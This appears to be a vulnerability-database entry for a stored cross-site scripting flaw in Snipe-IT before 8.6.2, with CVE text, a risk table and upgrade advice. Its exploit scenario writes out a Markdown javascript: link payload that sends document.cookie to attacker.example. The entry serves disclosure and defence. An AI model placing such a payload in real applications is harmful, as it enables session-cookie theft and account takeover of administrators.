Lifecycle Timeline
2DescriptionCVE.org
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, CommonMark escapes raw HTML but does not sanitize javascript: URIs in Markdown hyperlinks, allowing a user with assets.edit permission to place a malicious link in a markdown-textarea custom field that executes arbitrary JavaScript when another user opens the asset detail page and clicks the link. This issue is fixed in version 8.6.2.
AnalysisAI
Stored cross-site scripting (XSS) in Snipe-IT before 8.6.2 allows a low-privileged user with the assets.edit permission to plant a malicious javascript: URI inside a Markdown hyperlink in a custom textarea field. When any other user opens the affected asset detail page and clicks the crafted link, arbitrary JavaScript executes in their browser session. …

Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold the assets.edit permission within Snipe-IT - this is a low-privilege but non-anonymous role, meaning anonymous or unauthenticated users cannot exploit this flaw. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 4.8 (Medium) reflects the realistic risk well. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who holds assets.edit permission in Snipe-IT edits an existing asset (or creates a new one) and inserts a Markdown hyperlink with a javascript: URI such as [View Details](javascript:fetch('https://attacker.example/steal?c='+document.cookie)) into a custom markdown-textarea field. A system administrator or helpdesk technician later opens that asset's detail page and clicks the seemingly legitimate link, triggering the JavaScript payload in their browser session and exfiltrating their session cookie or performing privileged actions on their behalf. … |
| Remediation | Upgrade to Snipe-IT version 8.6.2 or later. … Detailed patch versions, workarounds, and compensating controls in full report. |
